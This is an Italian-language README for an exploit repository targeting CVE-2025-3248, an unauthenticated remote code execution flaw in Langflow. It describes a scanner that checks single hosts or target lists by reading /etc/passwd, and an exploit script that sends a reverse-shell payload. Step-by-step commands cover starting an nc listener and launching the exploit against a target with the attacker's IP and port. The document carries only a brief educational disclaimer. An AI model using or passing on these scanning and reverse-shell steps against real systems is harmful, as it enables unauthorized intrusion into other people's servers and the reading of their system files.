CVE-2025-3248: Langflow - Esecuzione Remota di Codice (RCE) non autenticata

Questa repository contiene due script Python:

• LangflowCheck.py: Uno scanner che verifica la presenza di istanze Langflow AI vulnerabili a CVE-2025-3248.
• exploit.py: Un exploit funzionante per reverse shell su target Langflow vulnerabili.

Riepilogo

CVE-2025-3248 è una vulnerabilità critica in Langflow AI che consente ad attaccanti non autenticati di eseguire codice Python arbitrario da remoto tramite un payload appositamente costruito inviato a /api/v1/validate/code.

File

LangflowCheck.py

• Verifica se un target è vulnerabile tentando di eseguire un payload inoffensivo che legge /etc/passwd.
• Può scansionare un singolo target o una lista di URL.
• Supporta l'output dei target vulnerabili in un file.

exploit.py

• Invia un payload reverse shell all'endpoint vulnerabile.
• Richiede l'IP dell'attaccante (lhost) e la porta del listener (lport).
• Registra l'attività in exploit.log.
• Supporta il controllo del listener prima di inviare il payload.

Utilizzo

1. Installare i requisiti

pip install -r requirements.txt

2. Eseguire lo scanner di vulnerabilità

Singolo URL

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

Target multipli

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. Sfruttare un target

Per prima cosa, avviare un listener

sudo nc -nvlp 4444

Quindi, eseguire l'exploit:

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

Se il target è vulnerabile, si dovrebbe ricevere una shell.

⚠️ Disclaimer

Questo exploit è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. Non utilizzarlo contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicito permesso di test.

Canali Ufficiali

• YouTube @rootctf
• X @r0otk3r